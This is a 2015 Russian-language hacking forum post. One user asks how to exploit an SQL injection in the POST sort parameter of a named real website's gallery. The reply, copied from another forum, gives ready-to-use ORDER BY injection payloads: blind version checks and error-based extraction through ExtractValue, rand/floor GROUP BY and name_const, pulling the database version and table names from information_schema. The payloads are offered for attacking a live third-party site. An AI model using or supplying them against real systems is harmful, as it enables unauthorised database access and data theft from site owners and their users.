29.05.2015, 21:49
|
|
Guest
Сообщений: n/a
Провел на форуме:
56887
Репутация:
28
|
|
[QUOTE="BabaDook"]
BabaDook said:
↑
Здравствуйте. Дайте пожалуйста подсказку как раскручивать такие инъекции
Код HTML:
HTML:
http://emofans.ru/gallery/emowallp
пост данные
[PHP]
PHP:
[COLOR="#000000"] foto_msort=&foto_sort[COLOR="#007700"]=
вот такими способами не пробовал ?
Код:
Code:
нъекция после order by
Слепая (more than 1 row)
script.php?par=(select if(substring(version(),1,1)=4,1,(select 1 union select 2)))
В ошибке
(ExtractValue)
script.php?par=id,ExtractValue(1,concat(0x5c,(sele ct table_name from information_schema.tables limit 1)))--
(rand)
script.php?par=(select 1 from (select count(0),concat((select version()),floor(rand(0)*2)) from information_schema.tables group by 2 limit 1)a)--
(name_const)
script.php?par=(select*from(select name_const(version(),1),name_const(version(),1))a)
копипаста с
https://rdot.org/forum/showthread.php?t=60
|
|
|
|